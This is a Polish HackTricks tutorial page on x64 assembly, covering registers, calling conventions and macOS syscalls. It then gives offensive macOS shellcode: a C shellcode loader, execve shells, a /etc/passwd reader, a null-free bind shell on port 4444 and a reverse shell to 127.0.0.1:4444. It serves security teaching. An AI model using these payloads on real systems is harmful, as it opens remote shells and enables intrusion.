15 KiB
Introduction to x64
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Wprowadzenie do x64
x64, znany również jako x86-64, to architektura procesora 64-bitowa, stosowana głównie w komputerach stacjonarnych i serwerach. Wywodząc się z architektury x86 opracowanej przez Intel, a później przyjętej przez AMD pod nazwą AMD64, jest dominującą architekturą w dzisiejszych komputerach osobistych i serwerach.
Rejestry
x64 rozwija architekturę x86, oferując 16 rejestrów ogólnego przeznaczenia oznaczonych jako rax
, rbx
, rcx
, rdx
, rbp
, rsp
, rsi
, rdi
oraz r8
do r15
. Każdy z nich może przechowywać wartość 64-bitową (8 bajtów). Rejestry te posiadają również podrejestry o rozmiarze 32-bitowym, 16-bitowym i 8-bitowym, zapewniające kompatybilność i obsługę określonych zadań.
rax
- Tradycyjnie używany do zwracania wartości z funkcji.rbx
- Często używany jako rejestr bazowy do operacji na pamięci.rcx
- Powszechnie używany jako licznik pętli.rdx
- Używany w różnych rolach, w tym do rozszerzonych operacji arytmetycznych.rbp
- Wskaźnik bazowy dla ramki stosu.rsp
- Wskaźnik stosu, śledzący górę stosu.rsi
irdi
- Używane jako indeksy źródła i docelowe w operacjach na łańcuchach/pamięci.r8
dor15
- Dodatkowe rejestry ogólnego przeznaczenia wprowadzone w x64.
Konwencja wywoływania
Konwencja wywoływania x64 różni się w zależności od systemu operacyjnego. Na przykład:
- Windows: Pierwsze cztery parametry są przekazywane w rejestrach
rcx
,rdx
,r8
ir9
. Kolejne parametry są umieszczane na stosie. Wartość zwracana znajduje się w rejestrzerax
. - System V (powszechnie stosowany w systemach UNIX-podobnych): Pierwsze sześć parametrów całkowitych lub wskaźników jest przekazywanych w rejestrach
rdi
,rsi
,rdx
,rcx
,r8
ir9
. Wartość zwracana również znajduje się w rejestrzerax
.
Jeśli funkcja ma więcej niż sześć parametrów, reszta zostanie przekazana na stos. RSP, wskaźnik stosu, musi być wyrównany do 16 bajtów, co oznacza, że adres, na który wskazuje, musi być podzielny przez 16 przed wykonaniem jakiegokolwiek wywołania. Oznacza to, że normalnie musielibyśmy upewnić się, że RSP jest odpowiednio wyrównany w naszym kodzie shell przed wykonaniem wywołania funkcji. Jednak w praktyce wywołania systemowe często działają nawet jeśli ten wymóg nie jest spełniony.
Konwencja wywoływania w Swift
Swift ma swoją własną konwencję wywoływania, którą można znaleźć pod adresem https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64
Wspólne instrukcje
Instrukcje x64 posiadają bogaty zestaw, zachowując kompatybilność z wcześniejszymi instrukcjami x86 i wprowadzając nowe.
mov
: Przenosi wartość z jednego rejestru lub lokalizacji pamięci do drugiego.- Przykład:
mov rax, rbx
— Przenosi wartość zrbx
dorax
. push
ipop
: Odkłada lub zdejmuje wartości ze stosu.- Przykład:
push rax
— Odkłada wartość zrax
na stos. - Przykład:
pop rax
— Zdejmuje wartość ze szczytu stosu dorax
. add
isub
: Operacje dodawania i odejmowania.- Przykład:
add rax, rcx
— Dodaje wartości wrax
ircx
, przechowując wynik wrax
. mul
idiv
: Operacje mnożenia i dzielenia. Uwaga: mają one określone zachowanie w odniesieniu do użycia operandów.call
iret
: Służą do wywoływania i powrotu z funkcji.int
: Służy do wywołania oprogramowania przerwania. Na przykładint 0x80
było używane do wywoływania systemu w 32-bitowym x86 Linux.cmp
: Porównuje dwie wartości i ustawia flagi CPU na podstawie wyniku.- Przykład:
cmp rax, rdx
— Porównujerax
zrdx
. je
,jne
,jl
,jge
, ...: Instrukcje skoku warunkowego, które zmieniają przepływ sterowania na podstawie wyników wcześniejszegocmp
lub testu.- Przykład: Po instrukcji
cmp rax, rdx
,je label
— Skacze dolabel
, jeślirax
jest równyrdx
. syscall
: Używane do wywołań systemowych w niektórych systemach x64 (np. nowoczesne Unixy).sysenter
: Zoptymalizowana instrukcja wywołania systemowego na niektórych platformach.
Prolog funkcji
- Odkładanie starego wskaźnika bazowego:
push rbp
(zapisuje wskaźnik bazowy wywołującego) - Przenoszenie bieżącego wskaźnika stosu do wskaźnika bazowego:
mov rbp, rsp
(ustawia nowy wskaźnik bazowy dla bieżącej funkcji) - Alokowanie miejsca na stosie dla zmiennych lokalnych:
sub rsp, <rozmiar>
(gdzie<rozmiar>
to liczba bajtów potrzebna)
Epilog funkcji
- Przenoszenie bieżącego wskaźnika bazowego do wskaźnika stosu:
mov rsp, rbp
(dezalokuje zmienne lokalne) - Zdejmowanie starego wskaźnika bazowego ze stosu: `pop rbp
macOS
syscalle
Istnieją różne klasy syscalle, możesz je znaleźć tutaj:
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
Następnie, możesz znaleźć numer każdego wywołania systemowego w tym adresie URL:
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
Aby wywołać open
syscall (5) z klasy Unix/BSD, musisz dodać: 0x2000000
Więc numer syscalla do wywołania open to 0x2000005
Shellkody
Aby skompilować:
{% code overflow="wrap" %}
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
{% endcode %}
Aby wyodrębnić bajty:
{% code overflow="wrap" %}
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
{% endcode %}
Kod C do testowania shellcode'u
```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
int (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr; sc();
return 0; }
</details>
#### Powłoka
Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.
<div data-gb-custom-block data-tag="tabs">
<div data-gb-custom-block data-tag="tab" data-title='z adr'></div>
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
Odczytaj za pomocą polecenia cat
Celem jest wykonanie polecenia execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
, więc drugi argument (x1) jest tablicą parametrów (które w pamięci oznaczają stos adresów).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
Wywołaj polecenie za pomocą sh
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
Powłoka bind
Powłoka bind ze strony https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html na porcie 4444
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
Odwrócony Shell
Odwrócony shell dostępny pod adresem https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Odwrócony shell do 127.0.0.1:4444.
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall